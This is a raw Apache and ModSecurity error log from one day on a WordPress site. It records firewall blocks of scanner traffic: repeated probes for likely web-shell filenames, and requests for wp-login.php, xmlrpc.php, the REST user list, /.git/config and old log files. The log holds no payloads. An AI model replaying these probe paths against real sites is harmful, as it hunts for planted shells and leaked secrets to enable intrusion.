[Wed Nov 26 01:01:08.431307 2025] [:error] [pid 28739:tid 28774] [client 172.207.189.235:21141] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSXg1BxGpKmlkG4FexT3qgAAAgw"]
[Wed Nov 26 01:01:08.698709 2025] [:error] [pid 28739:tid 28763] [client 172.207.189.235:21127] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSXg1BxGpKmlkG4FexT3rQAAAgE"]
[Wed Nov 26 01:01:08.928342 2025] [:error] [pid 28739:tid 28762] [client 172.207.189.235:21134] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o1.php"] [unique_id "aSXg1BxGpKmlkG4FexT3rwAAAgA"]
[Wed Nov 26 01:01:09.204122 2025] [:error] [pid 14076:tid 14101] [client 172.207.189.235:20976] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aSXg1XsB4Gz6Qw-pvBuCBwAAABQ"]
[Wed Nov 26 01:01:09.545735 2025] [:error] [pid 43843:tid 43863] [client 172.207.189.235:21181] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aSXg1Rhx4v3NUNdMKDMi1QAAAdI"]
[Wed Nov 26 01:01:09.788512 2025] [:error] [pid 43843:tid 43853] [client 172.207.189.235:21306] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aSXg1Rhx4v3NUNdMKDMi1gAAAcg"]
[Wed Nov 26 01:01:10.016740 2025] [:error] [pid 43843:tid 43849] [client 172.207.189.235:21228] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/juuuu.php"] [unique_id "aSXg1hhx4v3NUNdMKDMi2AAAAcQ"]
[Wed Nov 26 01:01:10.258049 2025] [:error] [pid 43981:tid 43992] [client 172.207.189.235:20950] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aSXg1ggZn97m_qh_RaGZqAAAAwk"]
[Wed Nov 26 01:01:10.505946 2025] [:error] [pid 14078:tid 14139] [client 172.207.189.235:21240] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aSXg1tVXYbb0ii_rVoLh8gAAAII"]
[Wed Nov 26 01:01:10.760559 2025] [:error] [pid 14077:tid 14129] [client 172.207.189.235:21165] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aSXg1hG9n7UHEkwDTygGeAAAAFM"]
[Wed Nov 26 01:01:11.034018 2025] [:error] [pid 14078:tid 14141] [client 172.207.189.235:20968] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ha.php"] [unique_id "aSXg19VXYbb0ii_rVoLh9AAAAIQ"]
[Wed Nov 26 01:01:11.282434 2025] [:error] [pid 14077:tid 14134] [client 172.207.189.235:20944] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waw.php"] [unique_id "aSXg1xG9n7UHEkwDTygGeQAAAFg"]
[Wed Nov 26 01:01:11.524833 2025] [:error] [pid 14077:tid 14117] [client 172.207.189.235:21231] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waw.php"] [unique_id "aSXg1xG9n7UHEkwDTygGegAAAEc"]
[Wed Nov 26 01:01:11.821060 2025] [:error] [pid 28836:tid 29009] [client 172.207.189.235:20962] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waw.php"] [unique_id "aSXg15wNRsoxcLQGkTcetAAAAtM"]
[Wed Nov 26 01:01:12.358604 2025] [:error] [pid 14078:tid 14153] [client 172.207.189.235:21176] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/waw.php"] [unique_id "aSXg2NVXYbb0ii_rVoLh9gAAAJA"]
[Wed Nov 26 01:01:12.629833 2025] [:error] [pid 14168:tid 14180] [client 172.207.189.235:21150] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aSXg2PR-ZDU0QEgAIIu-XQAAAMk"]
[Wed Nov 26 01:01:12.936662 2025] [:error] [pid 14076:tid 14095] [client 172.207.189.235:20981] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aSXg2HsB4Gz6Qw-pvBuCCwAAAA4"]
[Wed Nov 26 01:01:13.200736 2025] [:error] [pid 43843:tid 43862] [client 172.207.189.235:21400] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aSXg2Rhx4v3NUNdMKDMi3QAAAdE"]
[Wed Nov 26 01:01:13.457200 2025] [:error] [pid 2987:tid 3000] [client 172.207.189.235:21078] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aSXg2c-djEt-pTzPxnwB4gAAAUs"]
[Wed Nov 26 01:01:13.688940 2025] [:error] [pid 43981:tid 43988] [client 172.207.189.235:21177] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aSXg2QgZn97m_qh_RaGZrwAAAwU"]
[Wed Nov 26 01:01:13.993738 2025] [:error] [pid 43981:tid 44000] [client 172.207.189.235:21159] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aSXg2QgZn97m_qh_RaGZsAAAAxE"]
[Wed Nov 26 01:01:14.246485 2025] [:error] [pid 43843:tid 43866] [client 172.207.189.235:21082] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aSXg2hhx4v3NUNdMKDMi4AAAAdU"]
[Wed Nov 26 01:01:14.616878 2025] [:error] [pid 2987:tid 3010] [client 172.207.189.235:21143] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aSXg2s-djEt-pTzPxnwB5QAAAVU"]
[Wed Nov 26 01:01:15.051007 2025] [:error] [pid 14078:tid 14149] [client 172.207.189.235:21178] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aSXg29VXYbb0ii_rVoLh-QAAAIw"]
[Wed Nov 26 01:01:15.325672 2025] [:error] [pid 14076:tid 14105] [client 172.207.189.235:21190] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aSXg23sB4Gz6Qw-pvBuCEAAAABg"]
[Wed Nov 26 01:01:15.650231 2025] [:error] [pid 14078:tid 14160] [client 172.207.189.235:20965] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aSXg29VXYbb0ii_rVoLh-wAAAJc"]
[Wed Nov 26 01:01:15.980020 2025] [:error] [pid 43981:tid 43994] [client 172.207.189.235:20947] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/04.php"] [unique_id "aSXg2wgZn97m_qh_RaGZsgAAAws"]
[Wed Nov 26 01:01:16.407360 2025] [:error] [pid 14077:tid 14115] [client 172.207.189.235:21242] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aSXg3BG9n7UHEkwDTygGgwAAAEU"]
[Wed Nov 26 01:01:16.642331 2025] [:error] [pid 43843:tid 43863] [client 172.207.189.235:20977] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aSXg3Bhx4v3NUNdMKDMi5QAAAdI"]
[Wed Nov 26 01:01:16.924397 2025] [:error] [pid 14077:tid 14114] [client 172.207.189.235:20960] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aSXg3BG9n7UHEkwDTygGhQAAAEQ"]
[Wed Nov 26 01:01:17.177687 2025] [:error] [pid 14078:tid 14139] [client 172.207.189.235:21003] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aSXg3dVXYbb0ii_rVoLh_wAAAII"]
[Wed Nov 26 01:01:17.469533 2025] [:error] [pid 14077:tid 14113] [client 172.207.189.235:21162] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aSXg3RG9n7UHEkwDTygGiQAAAEM"]
[Wed Nov 26 01:01:17.704428 2025] [:error] [pid 28836:tid 28965] [client 172.207.189.235:21128] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/520.php"] [unique_id "aSXg3ZwNRsoxcLQGkTceuQAAAso"]
[Wed Nov 26 01:04:44.408500 2025] [:error] [pid 14078:tid 14145] [client 159.223.59.45:50288] [client 159.223.59.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.59.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSXhrNVXYbb0ii_rVoLjQAAAAIg"]
[Wed Nov 26 01:23:17.629021 2025] [:error] [pid 28739:tid 28770] [client 159.223.59.45:55644] [client 159.223.59.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.59.45, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSXmBRxGpKmlkG4FexT9nQAAAgg"]
[Wed Nov 26 03:50:59.977479 2025] [:error] [pid 3010:tid 3037] [client 34.70.104.68:59793] [client 34.70.104.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.104.68, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSYIo0Wl16-roARWvItGyQAAABc"]
[Wed Nov 26 03:51:04.618135 2025] [:error] [pid 3010:tid 3030] [client 34.70.104.68:59793] [client 34.70.104.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSYIqEWl16-roARWvItG0QAAABA"]
[Wed Nov 26 03:51:08.016710 2025] [:error] [pid 3010:tid 3033] [client 34.70.104.68:59793] [client 34.70.104.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.104.68, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSYIrEWl16-roARWvItG1AAAABM"]
[Wed Nov 26 04:02:13.483495 2025] [:error] [pid 3011:tid 3066] [client 70.36.127.31:55826] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/old/storage/logs/error.log"] [unique_id "aSYLRUb0BA3GljiGlI6p6AAAAFg"]
[Wed Nov 26 04:02:13.483510 2025] [:error] [pid 3493:tid 3515] [client 70.36.127.31:55824] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/old/system/logs/error.log"] [unique_id "aSYLRWBUa93ugXko11NStAAAARQ"]
[Wed Nov 26 04:02:13.486022 2025] [:error] [pid 3097:tid 3118] [client 70.36.127.31:55825] [client 70.36.127.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/old/system/storage/logs/error.log"] [unique_id "aSYLReVgdOH9N9jhT55vyQAAANE"]
[Wed Nov 26 04:48:37.316606 2025] [:error] [pid 3011:tid 3062] [client 182.44.8.254:41105] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSYWJUb0BA3GljiGlI611QAAAFQ"]
[Wed Nov 26 05:13:00.875980 2025] [:error] [pid 3097:tid 3119] [client 54.173.250.15:47524] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSYb3OVgdOH9N9jhT56NWwAAANI"]
[Wed Nov 26 09:10:34.681257 2025] [:error] [pid 45836:tid 45857] [client 207.241.235.137:48854] [client 207.241.235.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.241.235.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSZTipfrnOGqL-seZAz40gAAAMs"], referer: https://vetstars.com.au/
[Wed Nov 26 09:24:43.418969 2025] [:error] [pid 35540:tid 35555] [client 207.241.235.137:51194] [client 207.241.235.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.241.235.137, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSZW28GrIq2A6SZSnkIklAAAAIk"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Wed Nov 26 11:11:08.385342 2025] [:error] [pid 10383:tid 10395] [client 182.44.12.37:57438] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSZvzK0RJ-zjhOVjD8-bvwAAAck"]
[Wed Nov 26 13:26:50.613294 2025] [autoindex:error] [pid 10383:tid 10407] [client 139.59.30.253:62434] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 16:06:53.979391 2025] [autoindex:error] [pid 45683:tid 45702] [client 159.203.172.143:60412] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Nov 26 17:56:50.111597 2025] [:error] [pid 20733:tid 20742] [client 170.187.231.238:38692] [client 170.187.231.238] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSbO4gV9EP2HuRvnH8dEJQAAAMc"]
[Wed Nov 26 19:32:46.843438 2025] [:error] [pid 45685:tid 45766] [client 34.60.23.254:50769] [client 34.60.23.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.23.254, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSblXlj3f_NRdgU0DQ7a5QAAARg"]
[Wed Nov 26 19:32:49.646490 2025] [:error] [pid 45685:tid 45764] [client 34.60.23.254:50769] [client 34.60.23.254] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSblYVj3f_NRdgU0DQ7a9AAAARY"]
[Wed Nov 26 19:32:52.599256 2025] [:error] [pid 45685:tid 45746] [client 34.60.23.254:50769] [client 34.60.23.254] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.60.23.254, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSblZFj3f_NRdgU0DQ7a_QAAAQQ"]
[Wed Nov 26 22:32:05.646897 2025] [:error] [pid 6471:tid 6483] [client 43.135.133.194:44306] [client 43.135.133.194] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aScPZeh3Z9TZLlRuTiO_sQAAAIk"]
[Wed Nov 26 22:36:01.936643 2025] [:error] [pid 45683:tid 45707] [client 54.255.237.10:38344] [client 54.255.237.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aScQURX1gQgNFW_222rWVAAAAVM"]
